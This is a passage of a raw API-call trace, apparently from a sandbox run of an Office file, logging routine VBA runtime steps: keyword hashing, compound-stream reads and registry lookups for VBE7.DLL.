0x308f83 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Array") returned 0x309187 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="As") returned 0x305c8d [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Assert") returned 0x3096e9 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="B") returned 0x301059 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Base") returned 0x30afa9 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="BF") returned 0x305ca5 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Binary") returned 0x3008a4 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Boolean") returned 0x30978e [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="ByRef") returned 0x308ba6 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Byte") returned 0x302fe7 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="ByVal") returned 0x30a07c [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Call") returned 0x30744b [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Case") returned 0x307547 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CBool") returned 0x304c74 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CByte") returned 0x3082a0 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CCur") returned 0x308050 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CDate") returned 0x308dc3 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CDec") returned 0x30834a [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CDbl") returned 0x3082e4 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CDecl") returned 0x30a0b9 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="ChDir") returned 0x30b2fb [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CInt") returned 0x309f65 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Circle") returned 0x303fd1 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CLng") returned 0x30af63 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Close") returned 0x3005ab [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Compare") returned 0x30af82 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Const") returned 0x30517a [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CSng") returned 0x30d4d2 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CStr") returned 0x30d5bb [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CurDir") returned 0x301bab [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CurDir$") returned 0x30f7cc [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CurDir") returned 0x301bab [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CVar") returned 0x30e307 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CVDate") returned 0x30cfd6 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CVErr") returned 0x308902 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Currency") returned 0x30f10a [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Database") returned 0x30eec7 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Date") returned 0x303b0a [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Date$") returned 0x3031c7 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Date") returned 0x303b0a [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Debug") returned 0x30eaee [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Decimal") returned 0x3036dd [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Declare") returned 0x304a38 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefBool") returned 0x3091ad [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefByte") returned 0x30c7d9 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefCur") returned 0x30cc45 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefDate") returned 0x30d2fc [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefDec") returned 0x30cf3f [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefDbl") returned 0x30ced9 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefInt") returned 0x30eb5a [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefLng") returned 0x30fb58 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefObj") returned 0x30096b [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefSng") returned 0x302088 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefStr") returned 0x302171 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefVar") returned 0x302ebd [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Dim") returned 0x3083c4 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Dir") returned 0x3083c9 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Dir$") returned 0x306567 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Dir") returned 0x3083c9 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Do") returned 0x305cf8 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DoEvents") returned 0x309634 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Double") returned 0x300d99 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Each") returned 0x30fe75 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Else") returned 0x303b56 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="ElseIf") returned 0x30f307 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Empty") returned 0x30f4f5 [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="End") returned 0x3089cd [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="EndIf") returned 0x3078bd [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Enum") returned 0x30465a [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Eqv") returned 0x308a4e [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Erase") returned 0x3080da [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Error") returned 0x30db3c [0017.403] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Error$") returned 0x30cf60 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Error") returned 0x30db3c [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Event") returned 0x30ac4b [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Exit") returned 0x307a1f [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Explicit") returned 0x30edcb [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="F") returned 0x30105d [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="False") returned 0x302d01 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Fix") returned 0x308e81 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="For") returned 0x308f59 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Format") returned 0x302337 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Format$") returned 0x30efc7 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Format") returned 0x302337 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="FreeFile") returned 0x30483a [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Friend") returned 0x30bd1c [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Function") returned 0x307810 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Get") returned 0x309342 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Global") returned 0x30f88f [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Go") returned 0x305d67 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="GoSub") returned 0x30b425 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="GoTo") returned 0x30d70b [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="If") returned 0x305da8 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Imp") returned 0x309f18 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Implements") returned 0x30a988 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="In") returned 0x305db0 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Input") returned 0x30022a [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Input$") returned 0x307767 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Input") returned 0x30022a [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="InputB") returned 0x307785 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="InputB$") returned 0x300c59 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="InputB") returned 0x307785 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="InStr") returned 0x30120e [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="InStrB") returned 0x30c2fb [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Int") returned 0x309f41 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Integer") returned 0x30b48a [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Is") returned 0x305db5 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="LBound") returned 0x301e0b [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Left") returned 0x307be5 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Len") returned 0x30adf9 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="LenB") returned 0x307cfb [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Let") returned 0x30adff [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Lib") returned 0x30ae81 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Like") returned 0x3091f3 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Line") returned 0x309262 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="LINEINPUT") returned 0x3008f1 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Load") returned 0x30b096 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Local") returned 0x30353f [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Lock") returned 0x30b0e7 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Long") returned 0x30b27a [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Loop") returned 0x30b2a8 [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="LSet") returned 0x30c69e [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Me") returned 0x305e3b [0017.404] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Mid") returned 0x30b3dc [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Mid$") returned 0x30566d [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Mid") returned 0x30b3dc [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="MidB") returned 0x30568b [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="MidB$") returned 0x302a70 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="MidB") returned 0x30568b [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Mod") returned 0x30b4ba [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Module") returned 0x301ee1 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Name") returned 0x30f2f0 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="New") returned 0x30b8b4 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Next") returned 0x3009bb [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Not") returned 0x30ba23 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Nothing") returned 0x305f21 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Null") returned 0x305d87 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Object") returned 0x302ec1 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="On") returned 0x305e8e [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Open") returned 0x300767 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Option") returned 0x30f982 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Optional") returned 0x30675a [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Or") returned 0x305e92 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Output") returned 0x30f959 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="ParamArray") returned 0x305945 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Preserve") returned 0x30a5fc [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Print") returned 0x30f00d [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Private") returned 0x3073c3 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Property") returned 0x30d2fa [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="PSet") returned 0x30dd55 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Public") returned 0x301287 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Put") returned 0x30c5b3 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="RaiseEvent") returned 0x30274a [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Random") returned 0x30f428 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Randomize") returned 0x30ab02 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Read") returned 0x301d0f [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="ReDim") returned 0x30eea8 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Rem") returned 0x30ce0e [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Resume") returned 0x30728b [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Return") returned 0x3038eb [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="RGB") returned 0x30ce4d [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="RSet") returned 0x306891 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Scale") returned 0x30e596 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Seek") returned 0x30e387 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Select") returned 0x30cabd [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Set") returned 0x30d36e [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Sgn") returned 0x30d3b2 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Shared") returned 0x30479e [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Single") returned 0x30a99f [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Spc") returned 0x30d4f4 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Static") returned 0x3029c6 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Step") returned 0x303384 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Stop") returned 0x3034f6 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="StrComp") returned 0x30274d [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="String") returned 0x30102a [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="String$") returned 0x30c31c [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="String") returned 0x30102a [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Sub") returned 0x30d5ac [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Tab") returned 0x30d821 [0017.405] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Text") returned 0x30abed [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Then") returned 0x30b933 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="To") returned 0x305f48 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="True") returned 0x30f0f4 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Type") returned 0x30156b [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="TypeOf") returned 0x305fe8 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="UBound") returned 0x30ea71 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Unload") returned 0x304e44 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Unlock") returned 0x304e95 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Unknown") returned 0x30a142 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Until") returned 0x30ecec [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Variant") returned 0x308738 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Wend") returned 0x30fb84 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="While") returned 0x30342a [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Width") returned 0x30e075 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="With") returned 0x30118b [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="WithEvents") returned 0x30ec81 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Write") returned 0x30ee3b [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Xor") returned 0x30ef9b [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="#Const") returned 0x30f8c9 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="#Else") returned 0x3050dd [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="#ElseIf") returned 0x30e5b5 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="#End") returned 0x30d478 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="#If") returned 0x30d383 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Attribute") returned 0x30ed01 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Base") returned 0x309fb8 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Control") returned 0x30a946 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Creatable") returned 0x301d92 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Customizable") returned 0x30c26d [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Description") returned 0x3009d0 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Exposed") returned 0x3030b3 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Ext_KEY") returned 0x30a892 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_HelpID") returned 0x303e41 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Invoke_Func") returned 0x30c92c [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Invoke_Property") returned 0x307f4e [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Invoke_PropertyPut") returned 0x307d0f [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Invoke_PropertyPutRef") returned 0x305a28 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_MemberFlags") returned 0x308db7 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Name") returned 0x30e2ff [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_PredeclaredId") returned 0x305fc7 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_ProcData") returned 0x307005 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_TemplateDerived") returned 0x309f1e [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_VarDescription") returned 0x303303 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_VarHelpID") returned 0x30a3b6 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_VarMemberFlags") returned 0x30b6ea [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_VarProcData") returned 0x301b0c [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_UserMemId") returned 0x307b95 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_VarUserMemId") returned 0x304d5f [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_GlobalNameSpace") returned 0x30ce77 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName=",") returned 0x301043 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName=".") returned 0x301045 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="\"") returned 0x301039 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_") returned 0x301076 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CLngPtr") returned 0x305ab0 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefLngPtr") returned 0x3036f2 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="PtrSafe") returned 0x306f4a [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CLngLng") returned 0x304463 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefLngLng") returned 0x3020a5 [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="LongLong") returned 0x30378e [0017.406] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="LongPtr") returned 0x30d4e8 [0017.407] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="0") returned 0x301047 [0017.407] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="0") returned 0x301047 [0017.408] CExposedStream::Read () returned 0x0 [0017.408] CExposedStream::Read () returned 0x0 [0017.408] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x4b20000 [0017.409] CExposedStream::Read () returned 0x0 [0017.409] CExposedStream::Read () returned 0x0 [0017.409] VirtualAlloc (lpAddress=0x4bc1000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4bc1000 [0017.409] CExposedStream::Read () returned 0x0 [0017.409] CExposedStream::Read () returned 0x0 [0017.409] CExposedStream::Read () returned 0x0 [0017.409] CExposedStream::Read () returned 0x0 [0017.409] CExposedStream::Read () returned 0x0 [0017.411] CExposedStream::Release () returned 0x0 [0017.411] CExposedDocFile::AddRef () returned 0x3 [0017.411] wcscpy_s (in: _Destination=0x2648c0, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0017.411] _ltow_s (in: _Value=1, _Buffer=0x2648cc, _BufferCount=0x3a, _Radix=16 | out: _Buffer="1") returned 0x0 [0017.411] CExposedDocFile::OpenStream () returned 0x0 [0017.411] CExposedStream::AddRef () returned 0x2 [0017.411] CExposedStream::Release () returned 0x1 [0017.411] CExposedStream::Read () returned 0x0 [0017.413] CExposedStream::Read () returned 0x0 [0017.413] CExposedStream::Release () returned 0x0 [0017.416] CoCreateGuid (in: pguid=0x747f728 | out: pguid=0x747f728*(Data1=0x355c834a, Data2=0x7027, Data3=0x4255, Data4=([0]=0x8f, [1]=0x6e, [2]=0x8e, [3]=0xe8, [4]=0x1f, [5]=0x14, [6]=0xc9, [7]=0xa1))) returned 0x0 [0017.417] CExposedDocFile::AddRef () returned 0x3 [0017.417] CExposedDocFile::AddRef () returned 0x4 [0017.417] CExposedDocFile::OpenStream () returned 0x0 [0017.417] CExposedStream::AddRef () returned 0x2 [0017.417] CExposedStream::Release () returned 0x1 [0017.417] CExposedDocFile::Release () returned 0x3 [0017.417] CExposedStream::Read () returned 0x0 [0017.418] CExposedStream::Seek () returned 0x0 [0017.418] CExposedStream::Seek () returned 0x0 [0017.419] CExposedStream::Seek () returned 0x0 [0017.419] CExposedStream::Read () returned 0x0 [0017.419] CExposedStream::Read () returned 0x0 [0017.420] CExposedStream::Seek () returned 0x0 [0017.420] CExposedStream::Seek () returned 0x0 [0017.420] CExposedStream::Seek () returned 0x0 [0017.421] CExposedStream::Read () returned 0x0 [0017.421] CExposedStream::Read () returned 0x0 [0017.421] CExposedStream::Read () returned 0x0 [0017.421] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_Evaluate") returned 0x30d918 [0017.422] wcscpy_s (in: _Destination=0x743eeb8, _SizeInWords=0x80, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0017.422] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x2651a8 | out: phkResult=0x2651a8*=0x5e6) returned 0x0 [0017.422] RegOpenKeyW (in: hKey=0x5e6, lpSubKey="{000204EF-0000-0000-C000-000000000046}", phkResult=0x2651a0 | out: phkResult=0x2651a0*=0x5ea) returned 0x0 [0017.422] RegEnumKeyW (in: hKey=0x5ea, dwIndex=0x0, lpName=0x2651b8, cchName=0xa | out: lpName="2.1") returned 0x0 [0017.422] RegEnumKeyW (in: hKey=0x5ea, dwIndex=0x1, lpName=0x2651b8, cchName=0xa | out: lpName="4.2") returned 0x0 [0017.422] wcscpy_s (in: _Destination=0x2651d0, _SizeInWords=0xa, _Source="4.2" | out: _Destination="4.2") returned 0x0 [0017.422] RegOpenKeyW (in: hKey=0x5ea, lpSubKey="4.2", phkResult=0x265288 | out: phkResult=0x265288*=0x5ee) returned 0x0 [0017.422] _ultoa_s (in: _Val=0x9, _DstBuf=0x2651f0, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0017.422] RegOpenKeyA (in: hKey=0x5ee, lpSubKey="9", phkResult=0x2651e0 | out: phkResult=0x2651e0*=0x5f2) returned 0x0 [0017.422] RegOpenKeyW (in: hKey=0x5f2, lpSubKey="win64", phkResult=0x2651e8 | out: phkResult=0x2651e8*=0x5f6) returned 0x0 [0017.422] RegCloseKey (hKey=0x5f6) returned 0x0 [0017.422] RegCloseKey (hKey=0x5f2) returned 0x0 [0017.422] _ultow_s (in: _Value=0x9, _Buffer=0x265290, _BufferCount=0x9, _Radix=16 | out: _Buffer="9") returned 0x0 [0017.423] RegOpenKeyW (in: hKey=0x5ee, lpSubKey="9", phkResult=0x265268 | out: phkResult=0x265268*=0x5f2) returned 0x0 [0017.423] RegQueryValueW (in: hKey=0x5f2, lpSubKey="win64", lpData=0x2652b0, lpcbData=0x265260 | out: lpData="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL", lpcbData=0x265260) returned 0x0 [0017.423] wcscpy_s (in: _Destination=0x265510, _SizeInWords=0x104, _Source="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0017.423] RegCloseKey 